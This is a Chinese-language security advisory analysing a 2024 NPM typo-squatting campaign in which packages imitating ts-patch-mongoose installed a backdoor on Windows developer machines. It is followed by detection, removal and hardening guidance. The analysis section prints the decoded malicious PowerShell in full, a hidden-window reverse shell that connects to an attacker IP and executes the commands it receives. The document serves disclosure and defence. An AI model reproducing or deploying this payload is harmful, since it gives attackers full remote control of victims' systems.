供应链投毒预警 | 恶意NPM包利用Windows反向shell后门攻击开发者
字数 1702 2025-08-22 12:22:36

NPM供应链投毒攻击分析与防御指南

一、事件概述

2024年2月,悬镜供应链安全情报中心在NPM官方仓库中发现多起恶意组件包投毒事件。攻击者通过typo-squatting(包名拼写错误)技术发布了9个不同版本的恶意包,仿冒合法组件ts-patch-mongoose,针对Windows平台的NodeJS开发者进行攻击。

关键数据

  • 恶意包最近一周下载量:约700次
  • 攻击目标:Windows系统NodeJS开发者
  • 攻击方式:通过反向Shell建立后门连接

二、攻击技术分析

1. 攻击流程

ts-patch-moongoose恶意包为例:

  1. 开发者误安装恶意包
  2. 恶意文件mongoose.js被执行
  3. 调用child_process模块执行Base64编码的PowerShell命令
  4. 建立反向Shell连接攻击者服务器

2. 恶意代码解析

恶意包中包含的PowerShell代码解码后如下:

Start-Process $PSHOME\powershell.exe -ArgumentList {
    $cc4b3e0706be478095235bdbc5479fde = New'-Obje'ct System.Net.Sockets.TCPClient('84.77.69.69',4443);
    $4bdf71701e4e45a48bd66974a36d1fd8 = $cc4b3e0706be478095235bdbc5479fde.GetStream();
    [byte[]]$b72dd70b9b5c4635b410c3eda039db98 = 0..65535|%{0};
    while(($i = $4bdf71701e4e45a48bd66974a36d1fd8.Read($b72dd70b9b5c4635b410c3eda039db98,0,$b72dd70b9b5c4635b410c3eda039db98.Length)) -ne 0){
        $ff887d09535d46489582d67f05e7d60f = (Ne'w-Ob'ject -TypeName System.Text.ASCIIEncoding).GetString($b72dd70b9b5c4635b410c3eda039db98,0,$i);
        $e9f33eef377548fdb8e212aaecec6b47 = (iex $ff887d09535d46489582d67f05e7d60f 2>&1 | Out-String);
        $0e7cb537947a4905b36e36b8ef25f955 = $e9f33eef377548fdb8e212aaecec6b47 + 'PS ' + (p'w'd).Path + '> ';
        $986886c1059c495ebc37a28fa8735419 = ([text.encoding]::ASCII).GetBytes($0e7cb537947a4905b36e36b8ef25f955);
        $4bdf71701e4e45a48bd66974a36d1fd8.Write($986886c1059c495ebc37a28fa8735419,0,$986886c1059c495ebc37a28fa8735419.Length);
        $4bdf71701e4e45a48bd66974a36d1fd8.Flush()
    };
    $cc4b3e0706be478095235bdbc5479fde.Close()
} -WindowStyle Hidden

3. 技术要点

  1. 反向Shell机制

    • 使用System.Net.Sockets.TCPClient连接攻击者服务器(84.77.69.69:4443)
    • 获取网络流(GetStream)进行双向通信
    • 通过ReadWrite方法实现交互式Shell
  2. 混淆技术

    • 使用Base64编码隐藏真实PowerShell命令
    • 字符串分割混淆(如New'-Obje'ct代替New-Object)
    • 随机变量名增加分析难度
  3. 持久化技术

    • 使用Start-Process启动隐藏窗口的PowerShell进程
    • -WindowStyle Hidden参数使攻击进程不可见

三、影响范围

1. 已知恶意包列表

恶意包名称 受影响版本 威胁ID
ts-patch-moongoose [1.0.0,1.0.0]或[2.0.0,2.0.0] XMIRROR-MAL45-1E9AA373
ts-patch-mongoos [1.0.0,1.0.0]或[2.0.0,2.0.0] XMIRROR-MAL45-6963D463
ts-patch-mongose [1.0.0,1.0.0]或[2.0.0,2.0.0]或[3.0.0,3.0.0]或[3.0.1,3.0.1]或[4.0.0,4.0.0] XMIRROR-MAL45-60C73BA0

2. 潜在影响

  • 系统完全被控制:攻击者可执行任意命令
  • 数据泄露风险:可窃取敏感信息和代码
  • 横向移动可能:在内网环境中可能扩散攻击

四、检测与防御

1. 检测方法

手动检测

npm list ts-patch-moongoose
npm list ts-patch-moongoose -g

使用OpenSCA-cli工具

  1. 创建检测配置文件db.json
[
  {
    "product": "ts-patch-moongoose",
    "version": "[1.0.0,1.0.0]||[2.0.0,2.0.0]",
    "language": "javascript",
    "id": "XMIRROR-MAL45-1E9AA373",
    "description": "恶意NPM组件利用反向shell后门攻击Windows系统NPM开发者。",
    "release_date": "2024-02-19"
  },
  {
    "product": "ts-patch-mongoos",
    "version": "[1.0.0,1.0.0]||[2.0.0,2.0.0]",
    "language": "javascript",
    "id": "XMIRROR-MAL45-6963D463",
    "description": "恶意NPM组件利用反向shell后门攻击Windows系统NPM开发者。",
    "release_date": "2024-02-19"
  }
]
  1. 执行扫描:
opensca-cli -db db.json -path ${project_path}

2. 应急响应措施

  1. 立即断开网络连接
  2. 检查系统异常进程
  3. 卸载恶意包:
npm remove ts-patch-moongoose
npm remove ts-patch-moongoose -g
  1. 审查系统日志和网络连接记录
  2. 必要时重置系统或关键凭证

3. 长期防御策略

  1. 依赖包安装验证

    • 使用npm install <package> --ignore-scripts避免自动执行安装脚本
    • 仔细检查包名拼写,特别是相似名称的包
  2. 安全工具集成

    • 使用供应链安全工具(如OpenSCA)定期扫描项目
    • 配置CI/CD管道中的安全检查步骤
  3. 系统加固

    • 限制PowerShell执行策略
    • 监控异常出站连接(特别是到非常用IP和端口)
    • 实施最小权限原则,开发环境不使用管理员权限
  4. 安全意识

    • 定期培训开发人员识别供应链攻击
    • 建立第三方包使用审批流程

五、总结

此次NPM供应链投毒事件展示了攻击者如何利用开发者对包名的拼写错误实施攻击。通过建立反向Shell,攻击者可以完全控制受害者的开发环境。防御此类攻击需要结合技术手段和管理措施,建立从预防到检测再到响应的完整安全体系。

关键要点

  • 警惕typo-squatting攻击,安装包时仔细核对名称
  • 限制安装时自动执行脚本的能力
  • 定期扫描项目依赖中的已知恶意包
  • 监控系统的异常网络连接行为
NPM供应链投毒攻击分析与防御指南 一、事件概述 2024年2月,悬镜供应链安全情报中心在NPM官方仓库中发现多起恶意组件包投毒事件。攻击者通过 typo-squatting (包名拼写错误)技术发布了9个不同版本的恶意包,仿冒合法组件 ts-patch-mongoose ,针对Windows平台的NodeJS开发者进行攻击。 关键数据 恶意包最近一周下载量:约700次 攻击目标:Windows系统NodeJS开发者 攻击方式:通过反向Shell建立后门连接 二、攻击技术分析 1. 攻击流程 以 ts-patch-moongoose 恶意包为例: 开发者误安装恶意包 恶意文件 mongoose.js 被执行 调用 child_process 模块执行Base64编码的PowerShell命令 建立反向Shell连接攻击者服务器 2. 恶意代码解析 恶意包中包含的PowerShell代码解码后如下: 3. 技术要点 反向Shell机制 : 使用 System.Net.Sockets.TCPClient 连接攻击者服务器(84.77.69.69:4443) 获取网络流( GetStream )进行双向通信 通过 Read 和 Write 方法实现交互式Shell 混淆技术 : 使用Base64编码隐藏真实PowerShell命令 字符串分割混淆(如 New'-Obje'ct 代替 New-Object ) 随机变量名增加分析难度 持久化技术 : 使用 Start-Process 启动隐藏窗口的PowerShell进程 -WindowStyle Hidden 参数使攻击进程不可见 三、影响范围 1. 已知恶意包列表 | 恶意包名称 | 受影响版本 | 威胁ID | |------------|------------|--------| | ts-patch-moongoose | [ 1.0.0,1.0.0]或[ 2.0.0,2.0.0 ] | XMIRROR-MAL45-1E9AA373 | | ts-patch-mongoos | [ 1.0.0,1.0.0]或[ 2.0.0,2.0.0 ] | XMIRROR-MAL45-6963D463 | | ts-patch-mongose | [ 1.0.0,1.0.0]或[ 2.0.0,2.0.0]或[ 3.0.0,3.0.0]或[ 3.0.1,3.0.1]或[ 4.0.0,4.0.0 ] | XMIRROR-MAL45-60C73BA0 | 2. 潜在影响 系统完全被控制:攻击者可执行任意命令 数据泄露风险:可窃取敏感信息和代码 横向移动可能:在内网环境中可能扩散攻击 四、检测与防御 1. 检测方法 手动检测 : 使用OpenSCA-cli工具 : 创建检测配置文件 db.json : 执行扫描: 2. 应急响应措施 立即断开网络连接 检查系统异常进程 卸载恶意包: 审查系统日志和网络连接记录 必要时重置系统或关键凭证 3. 长期防御策略 依赖包安装验证 : 使用 npm install <package> --ignore-scripts 避免自动执行安装脚本 仔细检查包名拼写,特别是相似名称的包 安全工具集成 : 使用供应链安全工具(如OpenSCA)定期扫描项目 配置CI/CD管道中的安全检查步骤 系统加固 : 限制PowerShell执行策略 监控异常出站连接(特别是到非常用IP和端口) 实施最小权限原则,开发环境不使用管理员权限 安全意识 : 定期培训开发人员识别供应链攻击 建立第三方包使用审批流程 五、总结 此次NPM供应链投毒事件展示了攻击者如何利用开发者对包名的拼写错误实施攻击。通过建立反向Shell,攻击者可以完全控制受害者的开发环境。防御此类攻击需要结合技术手段和管理措施,建立从预防到检测再到响应的完整安全体系。 关键要点 : 警惕typo-squatting攻击,安装包时仔细核对名称 限制安装时自动执行脚本的能力 定期扫描项目依赖中的已知恶意包 监控系统的异常网络连接行为